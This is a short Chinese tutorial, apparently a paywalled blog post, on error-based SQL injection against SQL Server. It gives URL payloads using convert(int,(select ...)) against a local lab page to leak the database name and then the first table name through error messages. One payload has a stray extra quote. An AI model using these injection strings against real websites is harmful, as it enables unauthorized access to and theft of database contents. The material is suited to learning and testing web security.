该注入的条件是必须有报错信息
用到函数convert(int,(select top 1 db_name() ))，其含义是将第二个参数的值转换成第一个参数的int类型
一、打开文件，如下图所示，有报错信息：
二、查看数据库
输入：http://192.168.1.106/1.php?id=1 and 1=convert(int,(select top 1 db_name()));这里由报错信息可看到数据库的名字是”test“
三、查看数据库的表
输入：http://192.168.1.106/1.php?id=1 and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype='U''));可查看数据库的第一个表
最低0.47元/天 解锁文章
3333
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
